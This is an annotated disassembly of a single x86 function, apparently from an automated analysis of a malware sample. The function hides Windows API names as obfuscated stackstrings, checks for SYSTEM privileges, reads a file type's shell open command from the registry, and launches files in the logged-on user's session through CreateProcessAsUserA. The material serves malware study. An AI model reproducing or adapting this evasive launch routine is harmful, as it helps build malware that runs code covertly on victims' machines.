Function at 0x1001c580
Capabilities:
Contain obfuscated stackstrings
Get session user name

Disassembly:
sub esp, 0x970
push ebx
push ebp
push esi
lea eax, [esp + 0xb4]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x4b
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x4e
mov byte [esp + 0x38], 0x45
mov byte [esp + 0x39], 0x4c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0xc0], 0x47
mov byte [esp + 0xc1], bl
mov byte [esp + 0xc2], 0x74
mov byte [esp + 0xc3], 0x46
mov byte [esp + 0xc4], 0x69
mov byte [esp + 0xc5], 0x6c
mov byte [esp + 0xc6], bl
mov byte [esp + 0xc7], 0x41
mov byte [esp + 0xc8], 0x74
mov byte [esp + 0xc9], 0x74
mov byte [esp + 0xca], 0x72
mov byte [esp + 0xcb], 0x69
mov byte [esp + 0xcc], 0x62
mov byte [esp + 0xcd], 0x75
mov byte [esp + 0xce], 0x74
mov byte [esp + 0xcf], bl
mov byte [esp + 0xd0], 0x73
mov byte [esp + 0xd1], 0x41
mov byte [esp + 0xd2], 0
call fcn.1001b660
mov esi, eax
lea edx, [esp + 0x7c]
lea eax, [esp + 0x44]
push edx
push eax
mov byte [esp + 0x4c], 0x53
mov byte [esp + 0x4d], 0x48
mov byte [esp + 0x4e], 0x45
mov byte [esp + 0x4f], 0x4c
mov byte [esp + 0x50], 0x4c
mov byte [esp + 0x51], 0x33
mov byte [esp + 0x52], 0x32
mov byte [esp + 0x53], 0x2e
mov byte [esp + 0x54], 0x64
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0
mov byte [esp + 0x84], 0x53
mov byte [esp + 0x85], 0x68
mov byte [esp + 0x86], bl
mov byte [esp + 0x87], 0x6c
mov byte [esp + 0x88], 0x6c
mov byte [esp + 0x89], 0x45
mov byte [esp + 0x8a], 0x78
mov byte [esp + 0x8b], bl
mov byte [esp + 0x8c], 0x63
mov byte [esp + 0x8d], 0x75
mov byte [esp + 0x8e], 0x74
mov byte [esp + 0x8f], bl
mov byte [esp + 0x90], 0x41
mov byte [esp + 0x91], 0
call fcn.1001b660
mov dword [esp + 0x24], eax
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x56
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0x50
mov byte [esp + 0x2d], 0x49
lea ecx, [esp + 0x74]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x7c], 0x52
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x67
mov byte [esp + 0x7f], 0x4f
mov byte [esp + 0x80], 0x70
mov byte [esp + 0x81], bl
mov byte [esp + 0x82], 0x6e
mov byte [esp + 0x83], 0x4b
mov byte [esp + 0x84], bl
mov byte [esp + 0x85], 0x79
mov byte [esp + 0x86], 0x45
mov byte [esp + 0x87], 0x78
mov byte [esp + 0x88], 0x41
mov byte [esp + 0x89], 0
call fcn.1001b660
mov ebp, eax
lea eax, [esp + 0xac]
lea ecx, [esp + 0x30]
push eax
push ecx
mov byte [esp + 0xb4], 0x52
mov byte [esp + 0xb5], bl
mov byte [esp + 0xb6], 0x67
mov byte [esp + 0xb7], 0x51
mov byte [esp + 0xb8], 0x75
mov byte [esp + 0xb9], bl
mov byte [esp + 0xba], 0x72
mov byte [esp + 0xbb], 0x79
mov byte [esp + 0xbc], 0x56
mov byte [esp + 0xbd], 0x61
mov byte [esp + 0xbe], 0x6c
mov byte [esp + 0xbf], 0x75
mov byte [esp + 0xc0], bl
mov byte [esp + 0xc1], 0x41
mov byte [esp + 0xc2], 0
call fcn.1001b660
mov dword [esp + 0x12c], eax
lea edx, [esp + 0x68]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x70], 0x52
mov byte [esp + 0x71], bl
mov byte [esp + 0x72], 0x67
mov byte [esp + 0x73], 0x43
mov byte [esp + 0x74], 0x6c
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x73
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x4b
mov byte [esp + 0x79], bl
mov byte [esp + 0x7a], 0x79
mov byte [esp + 0x7b], 0
call fcn.1001b660
mov dword [esp + 0x130], eax
mov byte [esp + 0x10c], 0x57
mov byte [esp + 0x10d], 0x54
mov byte [esp + 0x10e], 0x53
mov byte [esp + 0x10f], 0x47
mov byte [esp + 0x110], bl
mov byte [esp + 0x111], 0x74
mov byte [esp + 0x112], 0x41
mov byte [esp + 0x113], 0x63
mov byte [esp + 0x114], 0x74
mov byte [esp + 0x115], 0x69
mov byte [esp + 0x116], 0x76
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], 0x43
mov byte [esp + 0x119], 0x6f
mov byte [esp + 0x11a], 0x6e
lea ecx, [esp + 0x10c]
lea edx, [esp + 0x54]
push ecx
push edx
mov byte [esp + 0x123], 0x73
mov byte [esp + 0x124], 0x6f
mov byte [esp + 0x125], 0x6c
mov byte [esp + 0x126], bl
mov byte [esp + 0x127], 0x53
mov byte [esp + 0x128], bl
mov byte [esp + 0x129], 0x73
mov byte [esp + 0x12a], 0x73
mov byte [esp + 0x12b], 0x69
mov byte [esp + 0x12c], 0x6f
mov byte [esp + 0x12d], 0x6e
mov byte [esp + 0x12e], 0x49
mov byte [esp + 0x12f], 0x64
mov byte [esp + 0x130], 0
call fcn.1001b660
mov dword [esp + 0x150], eax
lea eax, [esp + 0xd4]
lea ecx, [esp + 0x84]
push eax
push ecx
mov byte [esp + 0x8c], 0x57
mov byte [esp + 0x8d], 0x54
mov byte [esp + 0x8e], 0x53
mov byte [esp + 0x8f], 0x41
mov byte [esp + 0x90], 0x50
mov byte [esp + 0x91], 0x49
mov byte [esp + 0x92], 0x33
mov byte [esp + 0x93], 0x32
mov byte [esp + 0x94], 0x2e
mov byte [esp + 0x95], 0x64
mov byte [esp + 0x96], 0x6c
mov byte [esp + 0x97], 0x6c
mov byte [esp + 0x98], 0
mov byte [esp + 0xdc], 0x57
mov byte [esp + 0xdd], 0x54
mov byte [esp + 0xde], 0x53
mov byte [esp + 0xdf], 0x51
mov byte [esp + 0xe0], 0x75
mov byte [esp + 0xe1], bl
mov byte [esp + 0xe2], 0x72
mov byte [esp + 0xe3], 0x79
mov byte [esp + 0xe4], 0x55
mov byte [esp + 0xe5], 0x73
mov byte [esp + 0xe6], bl
mov byte [esp + 0xe7], 0x72
mov byte [esp + 0xe8], 0x54
mov byte [esp + 0xe9], 0x6f
mov byte [esp + 0xea], 0x6b
mov byte [esp + 0xeb], bl
mov byte [esp + 0xec], 0x6e
mov byte [esp + 0xed], 0
call fcn.1001b660
mov dword [esp + 0x14c], eax
lea edx, [esp + 0xbc]
lea eax, [esp + 0x64]
push edx
push eax
mov byte [esp + 0xc4], 0x43
mov byte [esp + 0xc5], 0x72
mov byte [esp + 0xc6], bl
mov byte [esp + 0xc7], 0x61
mov byte [esp + 0xc8], 0x74
mov byte [esp + 0xc9], bl
mov byte [esp + 0xca], 0x50
mov byte [esp + 0xcb], 0x72
mov byte [esp + 0xcc], 0x6f
mov byte [esp + 0xcd], 0x63
mov byte [esp + 0xce], bl
mov byte [esp + 0xcf], 0x73
mov byte [esp + 0xd0], 0x73
mov byte [esp + 0xd1], 0x41
mov byte [esp + 0xd2], 0
call fcn.1001b660
add esp, 0x40
mov dword [esp + 0x11c], eax
mov byte [esp + 0xcc], 0x43
mov byte [esp + 0xcd], 0x72
lea ecx, [esp + 0xcc]
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0xd6], bl
mov byte [esp + 0xd7], 0x61
mov byte [esp + 0xd8], 0x74
mov byte [esp + 0xd9], bl
mov byte [esp + 0xda], 0x50
mov byte [esp + 0xdb], 0x72
mov byte [esp + 0xdc], 0x6f
mov byte [esp + 0xdd], 0x63
mov byte [esp + 0xde], bl
mov byte [esp + 0xdf], 0x73
mov byte [esp + 0xe0], 0x73
mov byte [esp + 0xe1], 0x41
mov byte [esp + 0xe2], 0x73
mov byte [esp + 0xe3], 0x55
mov byte [esp + 0xe4], 0x73
mov byte [esp + 0xe5], bl
mov byte [esp + 0xe6], 0x72
mov byte [esp + 0xe7], 0x41
mov byte [esp + 0xe8], 0
call fcn.1001b660
mov ebx, dword [esp + 0x98c]
add esp, 8
mov dword [esp + 0x118], eax
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x108], 0x400
call esi
cmp eax, 0xffffffff
je 0x1001ceba
test al, 0x10
je 0x1001cc7b
push 5
push 0
push 0
push ebx
push str.open
push 0
call dword [esp + 0x2c]
mov ecx, 0x20
pop edi
cmp ecx, eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x970
ret
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
push 0x2e
push ebx
call esi
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x1001ceba
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x378]
push 0x5c
rep stosd dword es:[edi], eax
push ebx
call esi
sub eax, ebx
lea edx, [esp + 0x380]
push eax
push ebx
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x110]
lea ecx, [esp + 0x87c]
mov dword [esp + 0x110], 0x100
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x87c]
push str.SYSTEM
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov edx, dword [0x1012c4e8]
add esp, 8
test eax, eax
jne 0x1001cd20
test edx, edx
jne 0x1001cd24
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
mov edx, dword [0x1012c4e8]
test edx, edx
je 0x1001cd10
jmp 0x1001cd24
test edx, edx
je 0x1001cd90
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x178]
push edi
push edx
push str._s_Classes_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x1001cdb0
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push edi
push bind
call ebp
test eax, eax
je 0x1001cdb0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
push edx
push bind
call ebp
test eax, eax
jne 0x1001ceba
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x104]
lea ecx, [esp + 0x47c]
push eax
push ecx
push 0
push edx
call dword [esp + 0x11c]
mov eax, dword [esp + 0x10]
push eax
call dword [esp + 0x10c]
mov edx, dword [0x1012c4e8]
mov ecx, 0x80
test edx, edx
je 0x1001ce76
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x47c]
push ecx
push edx
lea edx, [esp + 0x180]
push str._s_Classes_s_shellopencommand
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x10]
lea ecx, [esp + 0x178]
push eax
push 0x20019
push 0
push ecx
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x1001cec7
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
lea edx, [esp + 0x47c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x17c]
push str._s_shellopencommand
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
jmp 0x1001ceaf
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x47c]
lea ecx, [esp + 0x178]
push eax
push str._s_shellopencommand
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x178]
push edx
push 0x20019
push 0
push eax
push bind
call ebp
test eax, eax
je 0x1001cec7
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
lea edx, [esp + 0x47c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x104]
mov dword [esp + 0x104], 0x400
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [esp + 0x11c]
mov ecx, dword [esp + 0x10]
push ecx
call dword [esp + 0x10c]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x47c]
push 0x100fafe8
push edx
call esi
add esp, 8
test eax, eax
jne 0x1001cf5f
lea eax, [esp + 0x47c]
push 0x100fafe4
push eax
call esi
add esp, 8
test eax, eax
jne 0x1001cf5f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x47c]
push 0x100fa644
push ecx
call esi
lea edx, [esp + 0x47c]
push ebx
push edx
call esi
jmp 0x1001cf67
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14]
mov ax, word [esp + 0x98c]
push str..exe
push edi
mov dword [esp + 0x13c], 0x44
mov dword [esp + 0x168], 1
mov word [esp + 0x16c], ax
call esi
add esp, 8
test eax, eax
je 0x1001cfdb
push str..bat
push edi
call esi
add esp, 8
test eax, eax
je 0x1001cfdb
push str..com
push edi
call esi
add esp, 8
test eax, eax
je 0x1001cfdb
mov edi, 1
jmp 0x1001cfdd
xor edi, edi
lea ecx, [esp + 0x87c]
push str.SYSTEM
push ecx
mov dword [esp + 0x30], 0
call esi
add esp, 8
test eax, eax
jne 0x1001d041
mov eax, dword [esp + 0x988]
test eax, eax
jne 0x1001d00a
test edi, edi
je 0x1001d041
call dword [esp + 0x120]
cmp eax, 0xffffffff
jne 0x1001d023
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea edx, [esp + 0x28]
push edx
push eax
call dword [esp + 0x11c]
test eax, eax
jne 0x1001d041
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x1001d08d
lea eax, [esp + 0x124]
lea ecx, [esp + 0x134]
push eax
lea edx, [esp + 0x37c]
push ecx
push edx
push 0
push 0
push 0
push 0
lea eax, [esp + 0x498]
push 0
push eax
push 0
call dword [esp + 0x144]
test eax, eax
jne 0x1001d0dd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea ecx, [esp + 0x124]
lea edx, [esp + 0x134]
push ecx
lea ecx, [esp + 0x37c]
push edx
push ecx
push 0
push 0
push 0
push 0
lea edx, [esp + 0x498]
push 0
push edx
push 0
push eax
call dword [esp + 0x144]
test eax, eax
jne 0x1001d0dd
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov ecx, dword [esp + 0x128]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x124]
push edx
call esi
mov eax, dword [esp + 0x28]
test eax, eax
je 0x1001d102
push eax
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x970
ret